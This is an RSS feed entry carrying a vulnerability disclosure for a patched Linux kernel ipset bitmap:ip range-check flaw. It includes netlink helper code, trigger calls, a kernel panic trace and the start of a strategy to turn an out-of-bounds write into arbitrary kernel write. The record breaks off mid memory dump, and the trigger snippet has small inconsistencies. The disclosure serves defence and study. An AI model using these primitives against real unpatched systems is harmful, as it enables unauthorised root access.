<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Oded van Kloeten on Medium]]></title>
        <description><![CDATA[Stories by Oded van Kloeten on Medium]]></description>
        <link>https://medium.com/@odedvk?source=rss-882924548426------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/2*ldWVxu3AwsuI8W1yrRx-XA.jpeg</url>
            <title>Stories by Oded van Kloeten on Medium</title>
            <link>https://medium.com/@odedvk?source=rss-882924548426------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 18 May 2026 04:34:34 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@odedvk/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[Linux Kernel netfilter: ipset: Missing Range Check LPE]]></title>
            <link>https://medium.com/ssd-secure-disclosure/linux-kernel-netfilter-ipset-missing-range-check-lpe-42ce63d181be?source=rss-882924548426------2</link>
            <guid isPermaLink="false">https://medium.com/p/42ce63d181be</guid>
            <category><![CDATA[kernel]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Oded van Kloeten]]></dc:creator>
            <pubDate>Mon, 11 Aug 2025 17:53:56 GMT</pubDate>
            <atom:updated>2025-08-11T17:53:56.177Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Affected Versions</strong></p><ul><li>Up to commit 041bd1e4 in torvalds’s linux kernel <a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/">repository</a></li><li>Up to kernel 6.12.2</li></ul><p><strong>Vendor Response</strong></p><p>Linux kernel release the <a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=35f56c554eb1b56b77b3cf197a6b00922d49033d">patch</a> (https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=35f56c554eb1b56b77b3cf197a6b00922d49033d)</p><p><strong>Background</strong></p><p>The ipset subsystem in the Linux kernel is a framework used for efficiently managing sets of IP addresses, networks, and port numbers for high-performance packet filtering, commonly in conjunction with iptables or nftables.</p><p>The subsystem supports various set types, each optimized for different use cases, including bitmap:ip. This set type is designed for efficient storage and lookup of a contiguous range of IPv4 addresses using a bitmap data structure.</p><p>In particularly, bitmap:ip represents a range of IP addresses as a bitmap (bit array), where:</p><ul><li>Each bit corresponds to to <strong>one</strong> IPv4 address</li><li>If a bit is (un)set, the corresponding IP is (not) in the set<br>Note that the range must be defined up front when creating set (e.g., from 192.168.1.0 to 192.168.1.255)</li></ul><blockquote><em>Classless Inter-Domain Routing (CIDR)<br>CIDR is a method for allocating IP addresses and routing Internet Protocol packets. It replaces the old system of IP address classes (A, B, C) and allows for more efficient and flexible use of IP address space. A CIDR address is written in the format </em><em>IP_Address/Prefix_Length, e.g, </em><em>192.168.1.0/24 refers to all IP addresses from </em><em>192.168.1.0 to </em><em>192.168.1.255</em></blockquote><p>All commands are dispatched based on a static array defined in net/netfilter/ipset/ip_set_core.c</p><blockquote>static</blockquote><blockquote>const struct nfnl_callback ip_set_netlink_subsys_cb[IPSET_MSG_MAX] = {</blockquote><blockquote>[IPSET_CMD_NONE] = {</blockquote><blockquote>.call = ip_set_none,</blockquote><blockquote>.type = NFNL_CB_MUTEX,</blockquote><blockquote>.attr_count = IPSET_ATTR_CMD_MAX,</blockquote><blockquote>},</blockquote><blockquote>[IPSET_CMD_CREATE] = {</blockquote><blockquote>.call = ip_set_create,</blockquote><blockquote>.type = NFNL_CB_MUTEX,</blockquote><blockquote>.attr_count = IPSET_ATTR_CMD_MAX,</blockquote><blockquote>.policy = ip_set_create_policy,</blockquote><blockquote>},</blockquote><blockquote>…</blockquote><blockquote>};</blockquote><p>First, in order to interact with ipset subsystem through netfilter, we setup some values on message header:</p><blockquote>char buffer[4096] = {};</blockquote><blockquote>unsigned int convertIP(const char * ip) {</blockquote><blockquote>struct in_addr addr;</blockquote><blockquote>inet_pton(AF_INET, ip, &amp; addr);</blockquote><blockquote><strong>return</strong> ntohl(addr.s_addr);</blockquote><blockquote>}</blockquote><blockquote><strong>void</strong> init_msg(struct nlmsghdr * msg, uint16_t cmd) {</blockquote><blockquote>struct nfgenmsg * data = NLMSG_DATA(msg);</blockquote><blockquote>msg -&gt; nlmsg_len = NLMSG_HDRLEN + sizeof( * data);</blockquote><blockquote>msg -&gt; nlmsg_type = (NFNL_SUBSYS_IPSET &lt;&lt; 8) | cmd;</blockquote><blockquote>msg -&gt; nlmsg_flags = NLM_F_REQUEST;</blockquote><blockquote>msg -&gt; nlmsg_seq = 0;</blockquote><blockquote>msg -&gt; nlmsg_pid = 0;</blockquote><blockquote>data -&gt; nfgen_family = NFPROTO_IPV4;</blockquote><blockquote>data -&gt; res_id = htons(NFNL_SUBSYS_IPSET);</blockquote><blockquote>u8 proto = IPSET_PROTOCOL;</blockquote><blockquote>netlink_attr_put(msg, IPSET_ATTR_PROTOCOL, &amp; proto, sizeof(proto));</blockquote><blockquote>}</blockquote><p><strong>Create Set</strong></p><p>To create a set, we send the command IPSET_CMD_CREATE with proper arguments, which initializes values of name, type, range ip, …</p><blockquote><strong>void</strong> create_bitmap_set(int sock,</blockquote><blockquote>const char * setname,</blockquote><blockquote>const char * range_start,</blockquote><blockquote>const char * range_end) {</blockquote><blockquote>struct nlmsghdr * msg = (struct nlmsghdr * ) buffer;</blockquote><blockquote>init_msg(msg, IPSET_CMD_CREATE);</blockquote><blockquote>netlink_attr_put(msg, IPSET_ATTR_SETNAME, setname, strlen(setname) + 1);</blockquote><blockquote>netlink_attr_put(msg, IPSET_ATTR_TYPENAME, “bitmap:ip”, strlen(“bitmap:ip”) + 1);</blockquote><blockquote>u8 revision = 3;</blockquote><blockquote>netlink_attr_put(msg, IPSET_ATTR_REVISION, &amp; revision, sizeof(u8));</blockquote><blockquote>u8 family = NFPROTO_IPV4;</blockquote><blockquote>netlink_attr_put(msg, IPSET_ATTR_FAMILY, &amp; family, sizeof(u8));</blockquote><blockquote>struct nlattr * setdata = netlink_nest_begin(msg, IPSET_ATTR_DATA);</blockquote><blockquote>u32 from = convertIP(range_start);</blockquote><blockquote>struct nlattr * ip_from = netlink_attr_nest_begin(setdata, IPSET_ATTR_IP);</blockquote><blockquote>netlink_attr_append(ip_from, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, &amp; from, sizeof(u32));</blockquote><blockquote>netlink_attr_nest_end(setdata, ip_from);</blockquote><blockquote>u32 to = convertIP(range_end);</blockquote><blockquote>struct nlattr * ip_to = netlink_attr_nest_begin(setdata, IPSET_ATTR_IP_TO);</blockquote><blockquote>netlink_attr_append(ip_to, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, &amp; to, sizeof(u32));</blockquote><blockquote>netlink_attr_nest_end(setdata, ip_to);</blockquote><blockquote>u32 flags = htonl(IPSET_FLAG_WITH_COUNTERS | IPSET_FLAG_WITH_SKBINFO);</blockquote><blockquote>netlink_attr_append(setdata, IPSET_ATTR_CADT_FLAGS | NLA_F_NET_BYTEORDER, &amp; flags, sizeof(u32));</blockquote><blockquote>netlink_nest_end(msg, setdata);</blockquote><blockquote>SYSCHK(netlink_send(sock, msg));</blockquote><blockquote><strong>return</strong> 0;</blockquote><blockquote>}</blockquote><p>The above function allows user to run into this function in kernel space, which eventually call to a create callback from family / type.</p><blockquote>static int ip_set_create(struct sk_buff * skb,</blockquote><blockquote>const struct nfnl_info * info,</blockquote><blockquote>const struct nlattr *</blockquote><blockquote>const attr[]) {</blockquote><blockquote>…</blockquote><blockquote><strong>if</strong> (unlikely(protocol_min_failed(attr) ||</blockquote><blockquote>!attr[IPSET_ATTR_SETNAME] ||</blockquote><blockquote>!attr[IPSET_ATTR_TYPENAME] ||</blockquote><blockquote>!attr[IPSET_ATTR_REVISION] ||</blockquote><blockquote>!attr[IPSET_ATTR_FAMILY] ||</blockquote><blockquote>(attr[IPSET_ATTR_DATA] &amp;&amp;</blockquote><blockquote>!flag_nested(attr[IPSET_ATTR_DATA]))))</blockquote><blockquote><strong>return</strong> -IPSET_ERR_PROTOCOL;</blockquote><blockquote>name = nla_data(attr[IPSET_ATTR_SETNAME]);</blockquote><blockquote>typename = nla_data(attr[IPSET_ATTR_TYPENAME]);</blockquote><blockquote>family = nla_get_u8(attr[IPSET_ATTR_FAMILY]);</blockquote><blockquote>revision = nla_get_u8(attr[IPSET_ATTR_REVISION]);</blockquote><blockquote>printk(“setname: %s, typename: %s, family: %s, revision: %u\n”,</blockquote><blockquote>name, typename, family_name(family), revision);</blockquote><blockquote>set = kzalloc(sizeof( * set), GFP_KERNEL);</blockquote><blockquote><strong>if</strong> (!set)</blockquote><blockquote><strong>return</strong> -ENOMEM;</blockquote><blockquote>…</blockquote><blockquote>ret = set -&gt; type -&gt; create(info -&gt; net, set, tb, flags);</blockquote><blockquote>…</blockquote><blockquote>pr_debug(“create: ‘%s’ created with index %u!\n”, set -&gt; name, index);</blockquote><blockquote>ip_set(inst, index) = set;</blockquote><blockquote><strong>return</strong> ret;</blockquote><blockquote>cleanup: set -&gt; variant -&gt; cancel_gc(set);</blockquote><blockquote>set -&gt; variant -&gt; destroy(set);</blockquote><blockquote>put_out: module_put(set -&gt; type -&gt; me);</blockquote><blockquote>out: kfree(set);</blockquote><blockquote><strong>return</strong> ret;</blockquote><blockquote>}</blockquote><p><strong>Add IP range</strong></p><p>To add an IP range into a given set, we send command IPSET_CMD_ADD.</p><blockquote><strong>void</strong> add_ip_range_to_set(int sock,</blockquote><blockquote>const char * name,</blockquote><blockquote>const char * start,</blockquote><blockquote>const char * <strong>end</strong>, u8 use_cidr, struct extension * params) {</blockquote><blockquote>struct nlmsghdr * msg = (struct nlmsghdr * ) buffer;</blockquote><blockquote>init_msg(msg, IPSET_CMD_ADD);</blockquote><blockquote>netlink_attr_put(msg, IPSET_ATTR_SETNAME, name, strlen(name) + 1);</blockquote><blockquote>struct nlattr * setdata = netlink_nest_begin(msg, IPSET_ATTR_DATA);</blockquote><blockquote>u32 from = convertIP(start);</blockquote><blockquote>struct nlattr * ip_from = netlink_attr_nest_begin(setdata, IPSET_ATTR_IP);</blockquote><blockquote>netlink_attr_append(ip_from, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, &amp; from, sizeof(u32));</blockquote><blockquote>netlink_attr_nest_end(setdata, ip_from);</blockquote><blockquote><strong>if</strong> (<strong>end</strong>) {</blockquote><blockquote>u32 to = convertIP(<strong>end</strong>);</blockquote><blockquote>struct nlattr * ip_to = netlink_attr_nest_begin(setdata, IPSET_ATTR_IP_TO);</blockquote><blockquote>netlink_attr_append(ip_to, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, &amp; to, sizeof(u32));</blockquote><blockquote>netlink_attr_nest_end(setdata, ip_to);</blockquote><blockquote>}</blockquote><blockquote><strong>if</strong> (use_cidr)</blockquote><blockquote>netlink_attr_append(setdata, IPSET_ATTR_CIDR, &amp; use_cidr, sizeof(use_cidr));</blockquote><blockquote>add_extensions_to_set(setdata, params);</blockquote><blockquote>netlink_nest_end(msg, setdata);</blockquote><blockquote>SYSCHK(netlink_send(sock, msg));</blockquote><blockquote>}</blockquote><p>Moreover, each element may have additional attributes, called extensions.</p><blockquote>struct extension {</blockquote><blockquote>u64 skbmark;</blockquote><blockquote>u32 skbprio;</blockquote><blockquote>u16 skbqueue;</blockquote><blockquote>char * comment;</blockquote><blockquote>u64 bytes;</blockquote><blockquote>u64 packets;</blockquote><blockquote>};</blockquote><blockquote><strong>void</strong> add_extensions_to_set(struct nlattr * setdata, struct extension * params) {</blockquote><blockquote><strong>if</strong> (params) {</blockquote><blockquote><strong>if</strong> (params -&gt; skbmark) {</blockquote><blockquote>netlink_attr_append(setdata, IPSET_ATTR_SKBMARK | NLA_F_NET_BYTEORDER, &amp; params -&gt; skbmark, sizeof(u64));</blockquote><blockquote>}</blockquote><blockquote><strong>if</strong> (params -&gt; skbprio) {</blockquote><blockquote>netlink_attr_append(setdata, IPSET_ATTR_SKBPRIO | NLA_F_NET_BYTEORDER, &amp; params -&gt; skbprio, sizeof(u32));</blockquote><blockquote>}</blockquote><blockquote><strong>if</strong> (params -&gt; skbqueue) {</blockquote><blockquote>netlink_attr_append(setdata, IPSET_ATTR_SKBQUEUE | NLA_F_NET_BYTEORDER, &amp; params -&gt; skbqueue, sizeof(u16));</blockquote><blockquote>}</blockquote><blockquote><strong>if</strong> (params -&gt; comment)</blockquote><blockquote>netlink_attr_append(setdata, IPSET_ATTR_COMMENT, params -&gt; comment, strlen(params -&gt; comment) + 1);</blockquote><blockquote><strong>if</strong> (params -&gt; bytes) {</blockquote><blockquote>netlink_attr_append(setdata, IPSET_ATTR_BYTES | NLA_F_NET_BYTEORDER, &amp; params -&gt; bytes, sizeof(u64));</blockquote><blockquote>}</blockquote><blockquote><strong>if</strong> (params -&gt; packets) {</blockquote><blockquote>netlink_attr_append(setdata, IPSET_ATTR_PACKETS | NLA_F_NET_BYTEORDER, &amp; params -&gt; packets, sizeof(u64));</blockquote><blockquote>}</blockquote><blockquote>}</blockquote><blockquote>}</blockquote><p>These snippets code let us come into the callback ip_set_ad under kernel</p><blockquote>static int ip_set_ad(struct net * net, struct sock * ctnl,</blockquote><blockquote>struct sk_buff * skb,</blockquote><blockquote>enum ipset_adt adt,</blockquote><blockquote>const struct nlmsghdr * nlh,</blockquote><blockquote>const struct nlattr *</blockquote><blockquote>const attr[],</blockquote><blockquote>struct netlink_ext_ack * extack) {</blockquote><blockquote>…</blockquote><blockquote><strong>if</strong> (unlikely(protocol_min_failed(attr) ||</blockquote><blockquote>!attr[IPSET_ATTR_SETNAME] ||</blockquote><blockquote>!((attr[IPSET_ATTR_DATA] != <strong>NULL</strong>) ^</blockquote><blockquote>(attr[IPSET_ATTR_ADT] != <strong>NULL</strong>)) ||</blockquote><blockquote>(attr[IPSET_ATTR_DATA] &amp;&amp;</blockquote><blockquote>!flag_nested(attr[IPSET_ATTR_DATA])) ||</blockquote><blockquote>(attr[IPSET_ATTR_ADT] &amp;&amp;</blockquote><blockquote>(!flag_nested(attr[IPSET_ATTR_ADT]) ||</blockquote><blockquote>!attr[IPSET_ATTR_LINENO]))))</blockquote><blockquote><strong>return</strong> -IPSET_ERR_PROTOCOL;</blockquote><blockquote>set = find_set(inst, nla_data(attr[IPSET_ATTR_SETNAME]));</blockquote><blockquote><strong>if</strong> (!set)</blockquote><blockquote><strong>return</strong> -ENOENT;</blockquote><blockquote>use_lineno = !!attr[IPSET_ATTR_LINENO];</blockquote><blockquote><strong>if</strong> (attr[IPSET_ATTR_DATA]) {</blockquote><blockquote><strong>if</strong> (nla_parse_nested(tb, IPSET_ATTR_ADT_MAX,</blockquote><blockquote>attr[IPSET_ATTR_DATA],</blockquote><blockquote>set -&gt; type -&gt; adt_policy, <strong>NULL</strong>))</blockquote><blockquote><strong>return</strong> -IPSET_ERR_PROTOCOL;</blockquote><blockquote>ret = call_ad(net, ctnl, skb, set, tb, adt, flags,</blockquote><blockquote>use_lineno);</blockquote><blockquote>} <strong>else</strong> {</blockquote><blockquote>int nla_rem;</blockquote><blockquote>nla_for_each_nested(nla, attr[IPSET_ATTR_ADT], nla_rem) {</blockquote><blockquote><strong>if</strong> (nla_type(nla) != IPSET_ATTR_DATA ||</blockquote><blockquote>!flag_nested(nla) ||</blockquote><blockquote>nla_parse_nested(tb, IPSET_ATTR_ADT_MAX, nla,</blockquote><blockquote>set -&gt; type -&gt; adt_policy, <strong>NULL</strong>))</blockquote><blockquote><strong>return</strong> -IPSET_ERR_PROTOCOL;</blockquote><blockquote>ret = call_ad(net, ctnl, skb, set, tb, adt,</blockquote><blockquote>flags, use_lineno);</blockquote><blockquote><strong>if</strong> (ret &lt; 0)</blockquote><blockquote><strong>return</strong> ret;</blockquote><blockquote>}</blockquote><blockquote>}</blockquote><blockquote><strong>return</strong> ret;</blockquote><blockquote>}</blockquote><p>If the given setname is found, after parsing extra arguments, the kernel will call call_ad to perform an actual addition based on family and type of set.</p><p><strong>Delete bitmap set</strong></p><p>To delete a bitmap set, we can send command IPSET_CMD_DESTROY with desired set name</p><blockquote><strong>void</strong> del_bitmap_set(int sock,</blockquote><blockquote>const char * name) {</blockquote><blockquote>struct nlmsghdr * msg = (struct nlmsghdr * ) buffer;</blockquote><blockquote>init_msg(msg, IPSET_CMD_DESTROY);</blockquote><blockquote>netlink_attr_put(msg, IPSET_ATTR_SETNAME, name, strlen(name) + 1);</blockquote><blockquote>SYSCHK(netlink_send(sock, msg));</blockquote><blockquote>}</blockquote><p>Or we also can delete an element from a set</p><blockquote><strong>void</strong> del_bitmap_element(int sock,</blockquote><blockquote>const char * name, u32 ip, struct extension * params) {</blockquote><blockquote>memset(buffer, 0, sizeof(buffer));</blockquote><blockquote>struct nlmsghdr * msg = (struct nlmsghdr * ) buffer;</blockquote><blockquote>init_msg(msg, IPSET_CMD_DEL);</blockquote><blockquote>netlink_attr_put(msg, IPSET_ATTR_SETNAME, name, strlen(name) + 1);</blockquote><blockquote>struct nlattr * setdata = netlink_nest_begin(msg, IPSET_ATTR_DATA);</blockquote><blockquote>ip = htonl(ip);</blockquote><blockquote>struct nlattr * ipa = netlink_attr_nest_begin(setdata, IPSET_ATTR_IP);</blockquote><blockquote>netlink_attr_append(ipa, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, &amp; ip, sizeof(ip));</blockquote><blockquote>netlink_attr_nest_end(setdata, ipa);</blockquote><blockquote>add_extensions_to_set(setdata, params);</blockquote><blockquote>netlink_nest_end(msg, setdata);</blockquote><blockquote>SYSCHK(netlink_send(sock, msg));</blockquote><blockquote>}</blockquote><p><strong>Vulnerability Details</strong></p><p>There are some type of ipset based on purpose, such as ipset used in netfilter for ipv4 with bitmap-ing. Its callbacks include: bitmap_ip_create , bitmap_ip_uadt , bitmap_ip_destroy, etc …</p><p>Let’s take a look at how it add an ip range in file net/netfilter/ipset/ip_set_bitmap_ip.c</p><blockquote>static int</blockquote><blockquote>bitmap_ip_uadt(struct ip_set * set, struct nlattr * tb[],</blockquote><blockquote>enum ipset_adt adt, u32 * lineno, u32 flags, bool retried) {</blockquote><blockquote>…</blockquote><blockquote>ret = ip_set_get_hostipaddr4(tb[IPSET_ATTR_IP], &amp; ip);</blockquote><blockquote>…</blockquote><blockquote><strong>if</strong> (tb[IPSET_ATTR_IP_TO]) {</blockquote><blockquote>ret = ip_set_get_hostipaddr4(tb[IPSET_ATTR_IP_TO], &amp; ip_to);</blockquote><blockquote><strong>if</strong> (ret)</blockquote><blockquote><strong>return</strong> ret;</blockquote><blockquote><strong>if</strong> (ip &gt; ip_to) {</blockquote><blockquote>swap(ip, ip_to);</blockquote><blockquote><strong>if</strong> (ip &lt; map -&gt; first_ip)</blockquote><blockquote><strong>return</strong> -IPSET_ERR_BITMAP_RANGE;</blockquote><blockquote>}</blockquote><blockquote>} <strong>else</strong> <strong>if</strong> (tb[IPSET_ATTR_CIDR]) {</blockquote><blockquote>u8 cidr = nla_get_u8(tb[IPSET_ATTR_CIDR]);</blockquote><blockquote><strong>if</strong> (!cidr || cidr &gt; HOST_MASK)</blockquote><blockquote><strong>return</strong> -IPSET_ERR_INVALID_CIDR;</blockquote><blockquote>ip_set_mask_from_to(ip, ip_to, cidr);</blockquote><blockquote>} <strong>else</strong> {</blockquote><blockquote>ip_to = ip;</blockquote><blockquote>}</blockquote><blockquote>…</blockquote><blockquote>}</blockquote><p>As we can see, the subsystem allows user to adding a range of entire CIDR to the set, which means it sets all bits range starting from first one ( tb[IPSET_ATTR_IP] ) in the bitmap. When tb[IPSET_ATTR_IP_TO] is not present but tb[IPSET_ATTR_CIDR] exists,<br>the values of ip and ip_to are slightly swapped, however, not like the case with ip and ip_to, this case doesn’t check if new ip is lower than map-&gt;first_ip, which leads to an out-of-bound later.</p><p>Firstly, in order to trigger the vulnerable context, we create a bitmap set from 0 -&gt; n, then we add an ip with CIDR that when we perform AND bitwise with given ip, the new one will be underflow. Note that</p><blockquote>create_bitmap_set(sock, “victim”, <em>0xFFFFFFF3</em>, <em>0xFFFFFFFF</em>);</blockquote><blockquote>add_ip_range_to_set(sock, “test”, <em>0xFFFFFFF3</em>, 0, 16, <strong>NULL</strong>);</blockquote><p>Then we got a kernel panic</p><blockquote>root@syzkaller:/mnt/share# ./CVE_2024_53141</blockquote><blockquote>[ 134.374895] RIP: <em>0010</em>:bitmap_ip_add+<em>0x39</em>/<em>0x1c0</em></blockquote><blockquote>[ 134.375145] Code: 89 d7 49 89 f6 48 89 fb 4c 8b a7 90 <em>00</em> <em>00</em> <em>00</em> 0f b7 <em>06</em> 48 8b 4f 68 48 0f af c8 4d 8d 2c 0c 49 83 c5 58 49 8b 0c 24 48 0f a3 <em>01</em> &lt;73&gt; 61 0f b6 43 52 a8 09</blockquote><blockquote>[ 134.375870] RSP: 0018:ffffc90000527358 EFLAGS: 00000282</blockquote><blockquote>[ 134.376078] RAX: 00000000000023a2 RBX: ffff8881051520c0 RCX: ffff8881009c4d58</blockquote><blockquote>[ 134.376357] RDX: ffffc90000527398 RSI: ffffc900005273ca RDI: ffff8881051520c0</blockquote><blockquote>[ 134.376631] RBP: 00000000ffffffff R08: <em>0000000000000001</em> R09: <em>0000000000000100</em></blockquote><blockquote>[ 134.376917] R10: <em>0000000000000001</em> R11: ffffffff81da1da0 R12: ffff888101591000</blockquote><blockquote>[ 134.377193] R13: ffff8881015d8498 R14: ffffc900005273ca R15: ffffc90000527398</blockquote><blockquote>[ 134.377464] ? __pfx_bitmap_ip_add+<em>0x10</em>/<em>0x10</em></blockquote><blockquote>[ 134.377636] ? bitmap_ip_add+<em>0x15b</em>/<em>0x1c0</em></blockquote><blockquote>[ 134.377801] ? __pfx_bitmap_ip_add+<em>0x10</em>/<em>0x10</em></blockquote><blockquote>[ 134.377971] bitmap_ip_uadt+<em>0x212</em>/<em>0x260</em></blockquote><blockquote>[ 134.378123] call_ad+<em>0x7f</em>/<em>0x3e0</em></blockquote><blockquote>[ 134.378250] ? __nla_validate_parse+<em>0x93</em>/<em>0xee0</em></blockquote><blockquote>[ 134.378427] ip_set_ad+<em>0x2de</em>/<em>0x320</em></blockquote><blockquote>[ 134.378564] nfnetlink_rcv_msg+<em>0x2fc</em>/<em>0x390</em></blockquote><blockquote>[ 134.378736] ? skb_queue_tail+<em>0x1b</em>/<em>0x50</em></blockquote><blockquote>[ 134.378887] ? sock_def_readable+<em>0xf</em>/<em>0xc0</em></blockquote><blockquote>[ 134.379054] ? __pfx_nfnetlink_rcv_msg+<em>0x10</em>/<em>0x10</em></blockquote><blockquote>[ 134.379235] netlink_rcv_skb+<em>0xe9</em>/<em>0x120</em></blockquote><blockquote>[ 134.379385] nfnetlink_rcv+<em>0x1ee</em>/<em>0xaf0</em></blockquote><blockquote>[ 134.379533] ? nla_put+<em>0x78</em>/<em>0x90</em></blockquote><blockquote>[ 134.379661] ? inet6_fill_ifla6_attrs+<em>0x5c3</em>/<em>0x620</em></blockquote><blockquote>[ 134.379860] ? kmem_cache_free+<em>0x17</em>/<em>0x280</em></blockquote><blockquote>[ 134.380019] ? selinux_netlink_send+<em>0x99</em>/<em>0x260</em></blockquote><blockquote>[ 134.380197] ? kmalloc_reserve+<em>0x45</em>/<em>0xf0</em></blockquote><blockquote>[ 134.380353] ? _copy_from_iter+<em>0x74</em>/<em>0x620</em></blockquote><blockquote>[ 134.380509] netlink_unicast+<em>0x252</em>/<em>0x370</em></blockquote><blockquote>[ 134.380662] netlink_sendmsg+<em>0x309</em>/<em>0x3b0</em></blockquote><blockquote>[ 134.380828] __sock_sendmsg+<em>0x84</em>/<em>0xa0</em></blockquote><blockquote>[ 134.380977] ____sys_sendmsg+<em>0x1ae</em>/<em>0x210</em></blockquote><blockquote>[ 134.381136] ? xas_find+<em>0x76</em>/<em>0x1c0</em></blockquote><blockquote>[ 134.381271] ___sys_sendmsg+<em>0x28a</em>/<em>0x2d0</em></blockquote><blockquote>[ 134.381423] ? filemap_map_pages+<em>0x5a7</em>/<em>0x650</em></blockquote><blockquote>[ 134.381596] __se_sys_sendmsg+<em>0xf2</em>/<em>0x130</em></blockquote><blockquote>[ 134.381772] do_syscall_64+<em>0xd0</em>/<em>0x1a0</em></blockquote><blockquote>[ 134.381925] ? arch_exit_to_user_mode_prepare+<em>0x11</em>/<em>0x60</em></blockquote><blockquote>[ 134.382152] ? irqentry_exit_to_user_mode+<em>0x8e</em>/<em>0xb0</em></blockquote><blockquote>[ 134.382332] entry_SYSCALL_64_after_hwframe+<em>0x77</em>/<em>0x7f</em></blockquote><p>Looking deeper at the reason why it crashes, after achieving out-of-bound access, function bitmap_ip_uadt calls to function pointer adtfn, which currently points to mtype_add</p><blockquote>static int</blockquote><blockquote>mtype_add(struct ip_set * set, <strong>void</strong> * value,</blockquote><blockquote>const struct ip_set_ext * ext,</blockquote><blockquote>struct ip_set_ext * mext, u32 flags) {</blockquote><blockquote>struct mtype * map = set -&gt; data;</blockquote><blockquote>const struct mtype_adt_elem * e = value;</blockquote><blockquote><strong>void</strong> * x = get_ext(set, map, e -&gt; id);</blockquote><blockquote>int ret = mtype_do_add(e, map, flags, set -&gt; dsize);</blockquote><blockquote><strong>if</strong> (ret == IPSET_ADD_FAILED) {</blockquote><blockquote><strong>if</strong> (SET_WITH_TIMEOUT(set) &amp;&amp;</blockquote><blockquote>ip_set_timeout_expired(ext_timeout(x, set))) {</blockquote><blockquote>set -&gt; elements — ;</blockquote><blockquote>ret = 0;</blockquote><blockquote>} <strong>else</strong> <strong>if</strong> (!(flags &amp; IPSET_FLAG_EXIST)) {</blockquote><blockquote>set_bit(e -&gt; id, map -&gt; members);</blockquote><blockquote><strong>return</strong> -IPSET_ERR_EXIST;</blockquote><blockquote>}</blockquote><blockquote>/* Element is re-added, cleanup extensions */</blockquote><blockquote>ip_set_ext_destroy(set, x);</blockquote><blockquote>}</blockquote><blockquote><strong>if</strong> (ret &gt; 0)</blockquote><blockquote>set -&gt; elements — ;</blockquote><blockquote><strong>if</strong> (SET_WITH_TIMEOUT(set))</blockquote><blockquote>#ifdef IP_SET_BITMAP_STORED_TIMEOUT</blockquote><blockquote>mtype_add_timeout(ext_timeout(x, set), e, ext, set, map, ret);</blockquote><blockquote>#else</blockquote><blockquote>ip_set_timeout_set(ext_timeout(x, set), ext -&gt; timeout);</blockquote><blockquote>#endif</blockquote><blockquote><strong>if</strong> (SET_WITH_COUNTER(set))</blockquote><blockquote>ip_set_init_counter(ext_counter(x, set), ext);</blockquote><blockquote><strong>if</strong> (SET_WITH_COMMENT(set))</blockquote><blockquote>ip_set_init_comment(set, ext_comment(x, set), ext);</blockquote><blockquote><strong>if</strong> (SET_WITH_SKBINFO(set))</blockquote><blockquote>ip_set_init_skbinfo(ext_skbinfo(x, set), ext);</blockquote><blockquote>/* Activate element */</blockquote><blockquote>set_bit(e -&gt; id, map -&gt; members);</blockquote><blockquote>set -&gt; elements++;</blockquote><blockquote><strong>return</strong> 0;</blockquote><blockquote>}</blockquote><p>So before adding, the ip was converted to index by calling ip_to_id(). At this point note that e.id is a u16 contrary to the index calculation which is performed on u32. This means the negative index calculated will be truncated before setting the associated bit in the bitmap. This essentially corresponds to an out-of-bounds write far beyond the end of the bitmap. To get this index into a saner range we have to underflow the subtraction large enough so that the truncated result is a somewhat small positive u16.</p><p>After that it copies given ip’s extensions based on index, which give us a write primitive.</p><h3>Exploitation</h3><p>In general, now we have an out-of-bound write primitive by setting extension’s data. Here is the details of struct bitmap_ip</p><blockquote>struct bitmap_ip {</blockquote><blockquote>unsigned long * members; /* the set members */</blockquote><blockquote>u32 first_ip; /* host byte order, included in range */</blockquote><blockquote>u32 last_ip; /* host byte order, included in range */</blockquote><blockquote>u32 elements; /* number of max elements in the set */</blockquote><blockquote>u32 hosts; /* number of hosts in a subnet */</blockquote><blockquote>size_t memsize; /* members size */</blockquote><blockquote>u8 netmask; /* subnet netmask */</blockquote><blockquote>struct timer_list gc; /* garbage collection */</blockquote><blockquote>struct ip_set * set; /* attached to this ip_set */</blockquote><blockquote>unsigned char extensions[] /* data extensions */</blockquote><blockquote>__aligned(__alignof__(u64));</blockquote><blockquote>};</blockquote><p>So the main strategy here is about trying to overwrite the pointer members , first_ip and last_ip of arbitrary bitmap_ip object then we can turn our limited out-of-bound write to fully arbitrary write primitive.</p><p>Adding log printer when creating a set, we can easily view the memory layout</p><blockquote>[ 22.250934] Create: after_0 data @ <em>0xffff888105b63c00</em></blockquote><blockquote>[ 22.251323] Create: after_1 data @ <em>0xffff888105b64000</em></blockquote><p>Let’s dump a normal bitmap_ip object</p><blockquote>pwndbg&gt; x/20gx <em>0xffff888105b64000</em></blockquote><blockquote><em>0xffff888105b64000</em>: <em>0xffff8881009c4650</em> <em>0x0000000d00000000</em></blockquote><blockquote><em>0xffff888105b64010</em>: <em>0x000000010000000e</em> <em>0x0000000000000008</em></blockquote><blockquote><em>0xffff888105b64020</em>: <em>0x0000000000000020</em> <em>0x0000000000000000</em></blockquote><blockquote><em>0xffff888105b64030</em>: <em>0x0000000000000000</em> <em>0x0000000000000000</em></blockquote><blockquote><em>0xffff888105b64040</em>: <em>0x0000000000000000</em> 